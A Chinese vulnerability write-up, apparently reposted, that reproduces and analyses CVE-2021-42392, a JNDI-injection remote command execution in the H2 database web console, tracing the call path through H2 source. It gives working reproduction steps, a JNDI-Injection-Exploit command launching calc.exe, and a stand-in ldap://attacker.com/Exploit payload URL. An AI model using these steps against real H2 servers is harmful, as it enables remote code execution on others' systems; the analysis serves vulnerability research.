Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)

漏洞版本

1.1.100 <= H2 Console <= 2.0.204

漏洞复现

此处复现版本1.4.197
启动项目如下
在这里插入图片描述
在Driver Class中输入javax.naming.InitialContext
在JDBCURL中输入jndi注入恶意链接
在这里插入图片描述
生成链接命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 服务器ip

因为项目环境是jdk1.7,因此我们用1.7的jndi,其他版本均不生效

漏洞分析

通过漏洞公布,可以看到是在org.h2.util.JdbcUtils.getConnection的javax.naming.Context出问题的
在这里插入图片描述告诉我们只需要提供一个javax.naming.InitialContext作为driver class和提供一个ldap://attacker.com/Exploit恶意的url即可远程命令执行

那么我们看看代码,找到问题所在处下断点org.h2.util.JdbcUtils
在这里插入图片描述

到311行弹出计算器
下断点后,我们可以看到整体调用栈,从下往上的顺序,那么我们逆着来
首先这里isAssignableFrom
A.isAssignableFrom(B) 确定一个类(B)是不是继承来自于另一个父类(A)
那么也就是说这里判断d是不是javax.naming.Context的类或者子类,d来自290行,用loadUserClass自定义的类加载
在这里插入图片描述
可以看到class javax.naming.InitialContext是javax.naming.Contex的子类,因此进入if
在这里插入图片描述
按照审计思路来看,先不调试跟踪
因为context.lookup(url)在org.h2.util.JdbcUtils#getConnection中
那么查看getConnection调用
在这里插入图片描述
根据调用栈顺序,我们进入到org.h2.server.web.WebServer#getConnection方法,如下
在这里插入图片描述
那么我们继续找getConnection的调用
在这里插入图片描述
进入org.h2.server.web.WebApp#test
在这里插入图片描述
继续找test的调用
在这里插入图片描述
进入org.h2.server.web.WebApp#process方法
在这里插入图片描述
找process调用
在这里插入图片描述
进入org.h2.server.web.WebApp#processRequest方法
在这里插入图片描述
在这里插入图片描述
进入org.h2.server.web.WebThread#process方法
在这里插入图片描述
查看process调用
在这里插入图片描述
进入org.h2.server.web.WebThread#run方法
在这里插入图片描述
那么到run就结束了,可以看到通过javax.naming.InitialContext来进入if,来调用lookup来触发我们的恶意url,用WebThread线程类来处理文章来源地址https://uudwc.com/A/AZmbr

原文地址:https://blog.csdn.net/bring_coco/article/details/131391115

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请联系站长进行投诉反馈,一经查实,立即删除!

h
上一篇 2023年06月27日 14:30
Android项目apk无法安装write: closed
下一篇 2023年06月27日 14:30